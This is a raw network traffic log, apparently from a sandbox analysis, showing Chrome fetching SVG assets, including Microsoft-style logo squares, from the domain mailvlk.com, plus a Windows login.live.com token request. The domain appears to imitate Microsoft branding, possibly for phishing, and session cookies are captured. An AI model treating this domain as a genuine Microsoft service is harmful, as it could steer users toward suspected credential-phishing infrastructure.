2024-04-24 13:43:25 UTC	621	IN	Data Raw: 65 34 33 0d 0a 3c 73 76 67 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 30 2f 73 76 67 22 20 77 69 64 74 68 3d 22 31 30 38 22 20 68 65 69 67 68 74 3d 22 32 34 22 20 76 69 65 77 42 6f 78 3d 22 30 20 30 20 31 30 38 20 32 34 22 3e 3c 74 69 74 6c 65 3e 61 73 73 65 74 73 3c 2f 74 69 74 6c 65 3e 3c 70 61 74 68 20 64 3d 22 4d 34 34 2e 38 33 36 2c 34 2e 36 56 31 38 2e 34 68 2d 32 2e 34 56 37 2e 35 38 33 48 34 32 2e 34 4c 33 38 2e 31 31 39 2c 31 38 2e 34 48 33 36 2e 35 33 31 4c 33 32 2e 31 34 32 2c 37 2e 35 38 33 68 2d 2e 30 32 39 56 31 38 2e 34 48 32 39 2e 39 56 34 2e 36 68 33 2e 34 33 36 4c 33 37 2e 33 2c 31 34 2e 38 33 68 2e 30 35 38 4c 34 31 2e 35 34 35 2c 34 2e 36 5a 6d 32 2c 31 2e 30 34 39 61 31 2e 32 36 38 2c 31 2e Data Ascii: e43<svg xmlns="http://www.w3.org/2000/svg" width="108" height="24" viewBox="0 0 108 24"><title>assets</title><path d="M44.836,4.6V18.4h-2.4V7.583H42.4L38.119,18.4H36.531L32.142,7.583h-.029V18.4H29.9V4.6h3.436L37.3,14.83h.058L41.545,4.6Zm2,1.049a1.268,1.
2024-04-24 13:43:25 UTC	1369	IN	Data Raw: 37 2c 30 2c 30 2c 31 2d 34 2e 39 31 38 2d 34 2e 39 30 38 2c 35 2e 36 34 31 2c 35 2e 36 34 31 2c 30 2c 30 2c 31 2c 31 2e 34 2d 33 2e 39 33 32 2c 35 2e 30 35 35 2c 35 2e 30 35 35 2c 30 2c 30 2c 31 2c 33 2e 39 35 35 2d 31 2e 35 34 35 2c 35 2e 34 31 34 2c 35 2e 34 31 34 2c 30 2c 30 2c 31 2c 31 2e 33 32 34 2e 31 36 38 2c 34 2e 34 33 31 2c 34 2e 34 33 31 2c 30 2c 30 2c 31 2c 31 2e 30 36 33 2e 33 39 76 32 2e 32 33 33 61 34 2e 37 36 33 2c 34 2e 37 36 33 2c 30 2c 30 2c 30 2d 31 2e 31 2d 2e 36 31 31 2c 33 2e 31 38 34 2c 33 2e 31 38 34 2c 30 2c 30 2c 30 2d 31 2e 31 35 2d 2e 32 31 37 2c 32 2e 39 31 39 2c 32 2e 39 31 39 2c 30 2c 30 2c 30 2d 32 2e 32 32 33 2e 39 2c 33 2e 33 37 2c 33 2e 33 37 2c 30 2c 30 2c 30 2d 2e 38 34 37 2c 32 2e 34 31 36 2c 33 2e 32 31 36 2c 33 2e Data Ascii: 7,0,0,1-4.918-4.908,5.641,5.641,0,0,1,1.4-3.932,5.055,5.055,0,0,1,3.955-1.545,5.414,5.414,0,0,1,1.324.168,4.431,4.431,0,0,1,1.063.39v2.233a4.763,4.763,0,0,0-1.1-.611,3.184,3.184,0,0,0-1.15-.217,2.919,2.919,0,0,0-2.223.9,3.37,3.37,0,0,0-.847,2.416,3.216,3.
2024-04-24 13:43:25 UTC	1369	IN	Data Raw: 34 31 2c 31 2e 30 32 39 2c 31 2e 30 32 39 2c 30 2c 30 2c 30 2d 2e 33 39 2d 2e 38 31 33 2c 35 2e 37 36 38 2c 35 2e 37 36 38 2c 30 2c 30 2c 30 2d 31 2e 34 37 37 2d 2e 37 36 35 2c 34 2e 35 36 34 2c 34 2e 35 36 34 2c 30 2c 30 2c 31 2d 31 2e 38 32 39 2d 31 2e 32 31 33 2c 32 2e 36 35 35 2c 32 2e 36 35 35 2c 30 2c 30 2c 31 2d 2e 35 33 39 2d 31 2e 37 31 33 2c 32 2e 37 30 36 2c 32 2e 37 30 36 2c 30 2c 30 2c 31 2c 31 2e 30 36 33 2d 32 2e 32 41 34 2e 32 34 33 2c 34 2e 32 34 33 2c 30 2c 30 2c 31 2c 38 31 2e 35 2c 38 2e 32 35 36 61 36 2e 36 36 33 2c 36 2e 36 36 33 2c 30 2c 30 2c 31 2c 31 2e 31 36 34 2e 31 31 35 2c 35 2e 31 36 31 2c 35 2e 31 36 31 2c 30 2c 30 2c 31 2c 31 2e 30 37 38 2e 33 76 32 2e 32 31 34 61 34 2e 39 37 34 2c 34 2e 39 37 34 2c 30 2c 30 2c 30 2d 31 2e Data Ascii: 41,1.029,1.029,0,0,0-.39-.813,5.768,5.768,0,0,0-1.477-.765,4.564,4.564,0,0,1-1.829-1.213,2.655,2.655,0,0,1-.539-1.713,2.706,2.706,0,0,1,1.063-2.2A4.243,4.243,0,0,1,81.5,8.256a6.663,6.663,0,0,1,1.164.115,5.161,5.161,0,0,1,1.078.3v2.214a4.974,4.974,0,0,0-1.
2024-04-24 13:43:25 UTC	299	IN	Data Raw: 30 2c 30 2c 31 2d 2e 37 33 36 2d 32 2e 33 36 33 5a 22 20 66 69 6c 6c 3d 22 23 37 33 37 33 37 33 22 2f 3e 3c 72 65 63 74 20 77 69 64 74 68 3d 22 31 30 2e 39 33 31 22 20 68 65 69 67 68 74 3d 22 31 30 2e 39 33 31 22 20 66 69 6c 6c 3d 22 23 66 32 35 30 32 32 22 2f 3e 3c 72 65 63 74 20 78 3d 22 31 32 2e 30 36 39 22 20 77 69 64 74 68 3d 22 31 30 2e 39 33 31 22 20 68 65 69 67 68 74 3d 22 31 30 2e 39 33 31 22 20 66 69 6c 6c 3d 22 23 37 66 62 61 30 30 22 2f 3e 3c 72 65 63 74 20 79 3d 22 31 32 2e 30 36 39 22 20 77 69 64 74 68 3d 22 31 30 2e 39 33 31 22 20 68 65 69 67 68 74 3d 22 31 30 2e 39 33 31 22 20 66 69 6c 6c 3d 22 23 30 30 61 34 65 66 22 2f 3e 3c 72 65 63 74 20 78 3d 22 31 32 2e 30 36 39 22 20 79 3d 22 31 32 2e 30 36 39 22 20 77 69 64 74 68 3d 22 31 30 2e 39 Data Ascii: 0,0,1-.736-2.363Z" fill="#737373"/><rect width="10.931" height="10.931" fill="#f25022"/><rect x="12.069" width="10.931" height="10.931" fill="#7fba00"/><rect y="12.069" width="10.931" height="10.931" fill="#00a4ef"/><rect x="12.069" y="12.069" width="10.9
2024-04-24 13:43:25 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
67	192.168.2.17	49788	104.21.50.148	443	6776	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-24 13:43:25 UTC	572	OUT	GET /ASSETS/img/sig-op.svg HTTP/1.1 Host: mailvlk.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: cf_clearance=ogRQcL5HDsanB0cMvgikkzpkcDxJCT9lPmgrHktvP88-1713966186-1.0.1.1-68HMcvgP3WpF8B9DwzKfi36AkCclYUDJHiLKvHVt_KOH346wtfyPHAxyADc1XHFWpxuUgIR8NZOubSJA35rcDA; PHPSESSID=431c9121354a61f8d08e0d9b71dad828
2024-04-24 13:43:25 UTC	750	IN	HTTP/1.1 200 OK Date: Wed, 24 Apr 2024 13:43:25 GMT Content-Type: image/svg+xml Transfer-Encoding: chunked Connection: close cache-control: public, max-age=604800 expires: Tue, 30 Apr 2024 18:14:50 GMT last-modified: Tue, 23 Apr 2024 16:46:58 GMT vary: Accept-Encoding x-turbo-charged-by: LiteSpeed CF-Cache-Status: HIT Age: 70115 Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=TkXQ9XflUGWt5t%2B7LX3rmvX%2BFl59k9AZPMs%2BzsOthTOsfYBFtdW%2BQXQaoq07xMFYsUXm7X2hczrvaJuiPjIlTACQNPc5CIhFCsTfYtCUrZiSpxv898hegWxC6AVnWQ%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 879685af49d969ac-LAX alt-svc: h3=":443"; ma=86400
2024-04-24 13:43:25 UTC	619	IN	Data Raw: 36 33 38 0d 0a 3c 73 76 67 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 30 2f 73 76 67 22 20 77 69 64 74 68 3d 22 34 38 22 20 68 65 69 67 68 74 3d 22 34 38 22 20 76 69 65 77 42 6f 78 3d 22 30 20 30 20 34 38 20 34 38 22 3e 3c 64 65 66 73 3e 3c 73 74 79 6c 65 3e 2e 61 7b 66 69 6c 6c 3a 6e 6f 6e 65 3b 7d 2e 62 7b 66 69 6c 6c 3a 23 34 30 34 30 34 30 3b 7d 3c 2f 73 74 79 6c 65 3e 3c 2f 64 65 66 73 3e 3c 72 65 63 74 20 63 6c 61 73 73 3d 22 61 22 20 77 69 64 74 68 3d 22 34 38 22 20 68 65 69 67 68 74 3d 22 34 38 22 2f 3e 3c 70 61 74 68 20 63 6c 61 73 73 3d 22 62 22 20 64 3d 22 4d 34 30 2c 33 32 2e 35 37 38 56 34 30 48 33 32 56 33 36 48 32 38 56 33 32 48 32 34 56 32 38 2e 37 36 36 41 31 30 2e 36 38 39 2c 31 30 2e 36 38 39 Data Ascii: 638<svg xmlns="http://www.w3.org/2000/svg" width="48" height="48" viewBox="0 0 48 48"><defs><style>.a{fill:none;}.b{fill:#404040;}</style></defs><rect class="a" width="48" height="48"/><path class="b" d="M40,32.578V40H32V36H28V32H24V28.766A10.689,10.689
2024-04-24 13:43:25 UTC	980	IN	Data Raw: 2e 33 37 33 2c 30 2c 30 2c 31 2c 32 38 2e 35 2c 31 33 2e 34 35 33 61 31 30 2e 34 2c 31 30 2e 34 2c 30 2c 30 2c 31 2c 31 2e 31 30 39 2c 32 2e 36 32 35 41 31 31 2e 36 31 36 2c 31 31 2e 36 31 36 2c 30 2c 30 2c 31 2c 33 30 2c 31 39 61 31 30 2e 30 31 35 2c 31 30 2e 30 31 35 2c 30 2c 30 2c 31 2d 2e 31 32 35 2c 31 2e 35 37 38 2c 31 30 2e 38 37 39 2c 31 30 2e 38 37 39 2c 30 2c 30 2c 31 2d 2e 33 35 39 2c 31 2e 35 33 31 5a 6d 2d 32 2c 2e 38 34 34 4c 32 37 2e 32 31 39 2c 32 32 2e 36 34 31 61 31 34 2e 37 31 36 2c 31 34 2e 37 31 36 2c 30 2c 30 2c 30 2c 2e 35 36 32 2d 31 2e 37 38 32 41 37 2e 37 35 31 2c 37 2e 37 35 31 2c 30 2c 30 2c 30 2c 32 38 2c 31 39 61 38 2e 37 38 36 2c 38 2e 37 38 36 2c 30 2c 30 2c 30 2d 2e 37 2d 33 2e 35 2c 38 2e 39 2c 38 2e 39 2c 30 2c 30 2c 30 Data Ascii: .373,0,0,1,28.5,13.453a10.4,10.4,0,0,1,1.109,2.625A11.616,11.616,0,0,1,30,19a10.015,10.015,0,0,1-.125,1.578,10.879,10.879,0,0,1-.359,1.531Zm-2,.844L27.219,22.641a14.716,14.716,0,0,0,.562-1.782A7.751,7.751,0,0,0,28,19a8.786,8.786,0,0,0-.7-3.5,8.9,8.9,0,0,0
2024-04-24 13:43:25 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
68	192.168.2.17	49790	104.21.50.148	443	6776	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-24 13:43:25 UTC	598	OUT	GET /x/58461f18f36cbc9854a411ccf4ae8dbb66290c7bcafe6 HTTP/1.1 Host: mailvlk.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: cf_clearance=ogRQcL5HDsanB0cMvgikkzpkcDxJCT9lPmgrHktvP88-1713966186-1.0.1.1-68HMcvgP3WpF8B9DwzKfi36AkCclYUDJHiLKvHVt_KOH346wtfyPHAxyADc1XHFWpxuUgIR8NZOubSJA35rcDA; PHPSESSID=431c9121354a61f8d08e0d9b71dad828
2024-04-24 13:43:26 UTC	742	IN	HTTP/1.1 200 OK Date: Wed, 24 Apr 2024 13:43:25 GMT Content-Type: image/svg+xml Transfer-Encoding: chunked Connection: close cache-control: public, max-age=604800 expires: Wed, 01 May 2024 13:43:25 GMT last-modified: Tue, 23 Apr 2024 16:46:58 GMT vary: Accept-Encoding x-turbo-charged-by: LiteSpeed CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=ucjKCHOEvQVKOrrdb8Oxc4mADaYsZssVi7s2%2BPQJ3aKdmKvJGP0Tb6uU89WDbzguHFB8Jq8WLtQ%2BoERSzdZ%2FwwBKSpKfka37iIRr7IFjM27mDRkjXq7XAB6w%2F2gosw%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 879685b12e122abc-LAX alt-svc: h3=":443"; ma=86400
2024-04-24 13:43:26 UTC	627	IN	Data Raw: 37 34 38 0d 0a 3c 73 76 67 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 30 2f 73 76 67 22 20 77 69 64 74 68 3d 22 31 39 32 30 22 20 68 65 69 67 68 74 3d 22 31 30 38 30 22 20 66 69 6c 6c 3d 22 6e 6f 6e 65 22 3e 3c 67 20 6f 70 61 63 69 74 79 3d 22 2e 32 22 20 63 6c 69 70 2d 70 61 74 68 3d 22 75 72 6c 28 23 45 29 22 3e 3c 70 61 74 68 20 64 3d 22 4d 31 34 36 36 2e 34 20 31 37 39 35 2e 32 63 39 35 30 2e 33 37 20 30 20 31 37 32 30 2e 38 2d 36 32 37 2e 35 32 20 31 37 32 30 2e 38 2d 31 34 30 31 2e 36 53 32 34 31 36 2e 37 37 2d 31 30 30 38 20 31 34 36 36 2e 34 2d 31 30 30 38 2d 32 35 34 2e 34 2d 33 38 30 2e 34 38 32 2d 32 35 34 2e 34 20 33 39 33 2e 36 73 37 37 30 2e 34 32 38 20 31 34 30 31 2e 36 20 31 37 32 30 2e 38 20 31 Data Ascii: 748<svg xmlns="http://www.w3.org/2000/svg" width="1920" height="1080" fill="none"><g opacity=".2" clip-path="url(#E)"><path d="M1466.4 1795.2c950.37 0 1720.8-627.52 1720.8-1401.6S2416.77-1008 1466.4-1008-254.4-380.482-254.4 393.6s770.428 1401.6 1720.8 1
2024-04-24 13:43:26 UTC	1244	IN	Data Raw: 2d 34 35 35 2e 35 39 35 20 31 32 34 39 2e 38 2d 31 30 31 37 2e 36 53 39 35 36 2e 30 34 36 2d 38 31 39 2e 36 20 32 36 35 2e 38 2d 38 31 39 2e 36 2d 39 38 34 2d 33 36 34 2e 30 30 35 2d 39 38 34 20 31 39 38 2d 34 32 34 2e 34 34 35 20 31 32 31 35 2e 36 20 32 36 35 2e 38 20 31 32 31 35 2e 36 7a 22 20 66 69 6c 6c 3d 22 75 72 6c 28 23 44 29 22 2f 3e 3c 2f 67 3e 3c 64 65 66 73 3e 3c 72 61 64 69 61 6c 47 72 61 64 69 65 6e 74 20 69 64 3d 22 41 22 20 63 78 3d 22 30 22 20 63 79 3d 22 30 22 20 72 3d 22 31 22 20 67 72 61 64 69 65 6e 74 55 6e 69 74 73 3d 22 75 73 65 72 53 70 61 63 65 4f 6e 55 73 65 22 20 67 72 61 64 69 65 6e 74 54 72 61 6e 73 66 6f 72 6d 3d 22 74 72 61 6e 73 6c 61 74 65 28 31 34 36 36 2e 34 20 33 39 33 2e 36 29 20 72 6f 74 61 74 65 28 39 30 29 20 73 63 Data Ascii: -455.595 1249.8-1017.6S956.046-819.6 265.8-819.6-984-364.005-984 198-424.445 1215.6 265.8 1215.6z" fill="url(#D)"/></g><defs><radialGradient id="A" cx="0" cy="0" r="1" gradientUnits="userSpaceOnUse" gradientTransform="translate(1466.4 393.6) rotate(90) sc
2024-04-24 13:43:26 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
69	192.168.2.17	49789	104.21.50.148	443	6776	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-24 13:43:25 UTC	598	OUT	GET /o/58461f18f36cbc9854a411ccf4ae8dbb66290c7bcb00b HTTP/1.1 Host: mailvlk.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: cf_clearance=ogRQcL5HDsanB0cMvgikkzpkcDxJCT9lPmgrHktvP88-1713966186-1.0.1.1-68HMcvgP3WpF8B9DwzKfi36AkCclYUDJHiLKvHVt_KOH346wtfyPHAxyADc1XHFWpxuUgIR8NZOubSJA35rcDA; PHPSESSID=431c9121354a61f8d08e0d9b71dad828
2024-04-24 13:43:26 UTC	740	IN	HTTP/1.1 200 OK Date: Wed, 24 Apr 2024 13:43:25 GMT Content-Type: image/svg+xml Transfer-Encoding: chunked Connection: close cache-control: public, max-age=604800 expires: Wed, 01 May 2024 13:43:25 GMT last-modified: Tue, 23 Apr 2024 16:46:58 GMT vary: Accept-Encoding x-turbo-charged-by: LiteSpeed CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=EVBWmFQvPIJJOIEQ7XRYT2HP%2FD7ks6zO1Hl30ylSGPVKfTHiAoU7FGqK0756H7RXBrqL1lOKbTcOUhB9fuSnRqBuqJqGLBTR9Hy2eQpGcC%2BrAQMNmNYTMUzbCoM%2FYA%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 879685b138427c50-LAX alt-svc: h3=":443"; ma=86400
2024-04-24 13:43:26 UTC	629	IN	Data Raw: 65 34 33 0d 0a 3c 73 76 67 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 30 2f 73 76 67 22 20 77 69 64 74 68 3d 22 31 30 38 22 20 68 65 69 67 68 74 3d 22 32 34 22 20 76 69 65 77 42 6f 78 3d 22 30 20 30 20 31 30 38 20 32 34 22 3e 3c 74 69 74 6c 65 3e 61 73 73 65 74 73 3c 2f 74 69 74 6c 65 3e 3c 70 61 74 68 20 64 3d 22 4d 34 34 2e 38 33 36 2c 34 2e 36 56 31 38 2e 34 68 2d 32 2e 34 56 37 2e 35 38 33 48 34 32 2e 34 4c 33 38 2e 31 31 39 2c 31 38 2e 34 48 33 36 2e 35 33 31 4c 33 32 2e 31 34 32 2c 37 2e 35 38 33 68 2d 2e 30 32 39 56 31 38 2e 34 48 32 39 2e 39 56 34 2e 36 68 33 2e 34 33 36 4c 33 37 2e 33 2c 31 34 2e 38 33 68 2e 30 35 38 4c 34 31 2e 35 34 35 2c 34 2e 36 5a 6d 32 2c 31 2e 30 34 39 61 31 2e 32 36 38 2c 31 2e Data Ascii: e43<svg xmlns="http://www.w3.org/2000/svg" width="108" height="24" viewBox="0 0 108 24"><title>assets</title><path d="M44.836,4.6V18.4h-2.4V7.583H42.4L38.119,18.4H36.531L32.142,7.583h-.029V18.4H29.9V4.6h3.436L37.3,14.83h.058L41.545,4.6Zm2,1.049a1.268,1.
2024-04-24 13:43:26 UTC	1369	IN	Data Raw: 34 2e 39 31 38 2d 34 2e 39 30 38 2c 35 2e 36 34 31 2c 35 2e 36 34 31 2c 30 2c 30 2c 31 2c 31 2e 34 2d 33 2e 39 33 32 2c 35 2e 30 35 35 2c 35 2e 30 35 35 2c 30 2c 30 2c 31 2c 33 2e 39 35 35 2d 31 2e 35 34 35 2c 35 2e 34 31 34 2c 35 2e 34 31 34 2c 30 2c 30 2c 31 2c 31 2e 33 32 34 2e 31 36 38 2c 34 2e 34 33 31 2c 34 2e 34 33 31 2c 30 2c 30 2c 31 2c 31 2e 30 36 33 2e 33 39 76 32 2e 32 33 33 61 34 2e 37 36 33 2c 34 2e 37 36 33 2c 30 2c 30 2c 30 2d 31 2e 31 2d 2e 36 31 31 2c 33 2e 31 38 34 2c 33 2e 31 38 34 2c 30 2c 30 2c 30 2d 31 2e 31 35 2d 2e 32 31 37 2c 32 2e 39 31 39 2c 32 2e 39 31 39 2c 30 2c 30 2c 30 2d 32 2e 32 32 33 2e 39 2c 33 2e 33 37 2c 33 2e 33 37 2c 30 2c 30 2c 30 2d 2e 38 34 37 2c 32 2e 34 31 36 2c 33 2e 32 31 36 2c 33 2e 32 31 36 2c 30 2c 30 2c Data Ascii: 4.918-4.908,5.641,5.641,0,0,1,1.4-3.932,5.055,5.055,0,0,1,3.955-1.545,5.414,5.414,0,0,1,1.324.168,4.431,4.431,0,0,1,1.063.39v2.233a4.763,4.763,0,0,0-1.1-.611,3.184,3.184,0,0,0-1.15-.217,2.919,2.919,0,0,0-2.223.9,3.37,3.37,0,0,0-.847,2.416,3.216,3.216,0,0,
2024-04-24 13:43:26 UTC	1369	IN	Data Raw: 2c 31 2e 30 32 39 2c 30 2c 30 2c 30 2d 2e 33 39 2d 2e 38 31 33 2c 35 2e 37 36 38 2c 35 2e 37 36 38 2c 30 2c 30 2c 30 2d 31 2e 34 37 37 2d 2e 37 36 35 2c 34 2e 35 36 34 2c 34 2e 35 36 34 2c 30 2c 30 2c 31 2d 31 2e 38 32 39 2d 31 2e 32 31 33 2c 32 2e 36 35 35 2c 32 2e 36 35 35 2c 30 2c 30 2c 31 2d 2e 35 33 39 2d 31 2e 37 31 33 2c 32 2e 37 30 36 2c 32 2e 37 30 36 2c 30 2c 30 2c 31 2c 31 2e 30 36 33 2d 32 2e 32 41 34 2e 32 34 33 2c 34 2e 32 34 33 2c 30 2c 30 2c 31 2c 38 31 2e 35 2c 38 2e 32 35 36 61 36 2e 36 36 33 2c 36 2e 36 36 33 2c 30 2c 30 2c 31 2c 31 2e 31 36 34 2e 31 31 35 2c 35 2e 31 36 31 2c 35 2e 31 36 31 2c 30 2c 30 2c 31 2c 31 2e 30 37 38 2e 33 76 32 2e 32 31 34 61 34 2e 39 37 34 2c 34 2e 39 37 34 2c 30 2c 30 2c 30 2d 31 2e 30 37 38 2d 2e 35 32 39 Data Ascii: ,1.029,0,0,0-.39-.813,5.768,5.768,0,0,0-1.477-.765,4.564,4.564,0,0,1-1.829-1.213,2.655,2.655,0,0,1-.539-1.713,2.706,2.706,0,0,1,1.063-2.2A4.243,4.243,0,0,1,81.5,8.256a6.663,6.663,0,0,1,1.164.115,5.161,5.161,0,0,1,1.078.3v2.214a4.974,4.974,0,0,0-1.078-.529
2024-04-24 13:43:26 UTC	291	IN	Data Raw: 33 36 2d 32 2e 33 36 33 5a 22 20 66 69 6c 6c 3d 22 23 37 33 37 33 37 33 22 2f 3e 3c 72 65 63 74 20 77 69 64 74 68 3d 22 31 30 2e 39 33 31 22 20 68 65 69 67 68 74 3d 22 31 30 2e 39 33 31 22 20 66 69 6c 6c 3d 22 23 66 32 35 30 32 32 22 2f 3e 3c 72 65 63 74 20 78 3d 22 31 32 2e 30 36 39 22 20 77 69 64 74 68 3d 22 31 30 2e 39 33 31 22 20 68 65 69 67 68 74 3d 22 31 30 2e 39 33 31 22 20 66 69 6c 6c 3d 22 23 37 66 62 61 30 30 22 2f 3e 3c 72 65 63 74 20 79 3d 22 31 32 2e 30 36 39 22 20 77 69 64 74 68 3d 22 31 30 2e 39 33 31 22 20 68 65 69 67 68 74 3d 22 31 30 2e 39 33 31 22 20 66 69 6c 6c 3d 22 23 30 30 61 34 65 66 22 2f 3e 3c 72 65 63 74 20 78 3d 22 31 32 2e 30 36 39 22 20 79 3d 22 31 32 2e 30 36 39 22 20 77 69 64 74 68 3d 22 31 30 2e 39 33 31 22 20 68 65 69 67 Data Ascii: 36-2.363Z" fill="#737373"/><rect width="10.931" height="10.931" fill="#f25022"/><rect x="12.069" width="10.931" height="10.931" fill="#7fba00"/><rect y="12.069" width="10.931" height="10.931" fill="#00a4ef"/><rect x="12.069" y="12.069" width="10.931" heig
2024-04-24 13:43:26 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
70	192.168.2.17	49791	20.190.190.195	443

Timestamp	Bytes transferred	Direction	Data
2024-04-24 13:43:31 UTC	422	OUT	POST /RST2.srf HTTP/1.0 Connection: Keep-Alive Content-Type: application/soap+xml Accept: / User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 10.0; Win64; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; IDCRL 24.10.0.19045.0.0; IDCRL-cfg 16.000.29743.00; App svchost.exe, 10.0.19041.1806, {DF60E2DF-88AD-4526-AE21-83D130EF0F68}) Content-Length: 4788 Host: login.live.com
2024-04-24 13:43:31 UTC	4788	OUT	Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 55 54 46 2d 38 22 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 33 2f 30 35 2f 73 6f 61 70 2d 65 6e 76 65 6c 6f 70 65 22 20 78 6d 6c 6e 73 3a 70 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 6d 69 63 72 6f 73 6f 66 74 2e 63 6f 6d 2f 50 61 73 73 70 6f 72 74 2f 53 6f 61 70 53 65 72 76 69 63 65 73 2f 50 50 43 52 4c 22 20 78 6d 6c 6e 73 3a 77 73 73 65 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 34 30 31 2d 77 73 73 2d 77 73 73 65 63 75 72 69 74 79 2d 73 65 63 65 78 74 2d 31 Data Ascii: <?xml version="1.0" encoding="UTF-8"?><s:Envelope xmlns:s="http://www.w3.org/2003/05/soap-envelope" xmlns:ps="http://schemas.microsoft.com/Passport/SoapServices/PPCRL" xmlns:wsse="http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1
2024-04-24 13:43:31 UTC	569	IN	HTTP/1.1 200 OK Cache-Control: no-store, no-cache Pragma: no-cache Content-Type: application/soap+xml; charset=utf-8 Expires: Wed, 24 Apr 2024 13:42:31 GMT P3P: CP="DSP CUR OTPi IND OTRi ONL FIN" Referrer-Policy: strict-origin-when-cross-origin x-ms-route-info: C529_BAY x-ms-request-id: 4e71cf2b-960b-4448-8cb6-0ef24cdffaaf PPServer: PPV: 30 H: PH1PEPF00011E52 V: 0 X-Content-Type-Options: nosniff Strict-Transport-Security: max-age=31536000 X-XSS-Protection: 1; mode=block Date: Wed, 24 Apr 2024 13:43:30 GMT Connection: close Content-Length: 11153
2024-04-24 13:43:31 UTC	11153	IN	Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 20 3f 3e 3c 53 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 53 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 33 2f 30 35 2f 73 6f 61 70 2d 65 6e 76 65 6c 6f 70 65 22 20 78 6d 6c 6e 73 3a 77 73 73 65 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 34 30 31 2d 77 73 73 2d 77 73 73 65 63 75 72 69 74 79 2d 73 65 63 65 78 74 2d 31 2e 30 2e 78 73 64 22 20 78 6d 6c 6e 73 3a 77 73 75 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 Data Ascii: <?xml version="1.0" encoding="utf-8" ?><S:Envelope xmlns:S="http://www.w3.org/2003/05/soap-envelope" xmlns:wsse="http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1.0.xsd" xmlns:wsu="http://docs.oasis-open.org/wss/2004/01/oasis-200

Session ID	Source IP	Source Port	Destination IP	Destination Port
71	192.168.2.17	49792	13.107.5.88	443

Timestamp	Bytes transferred	Direction	Data
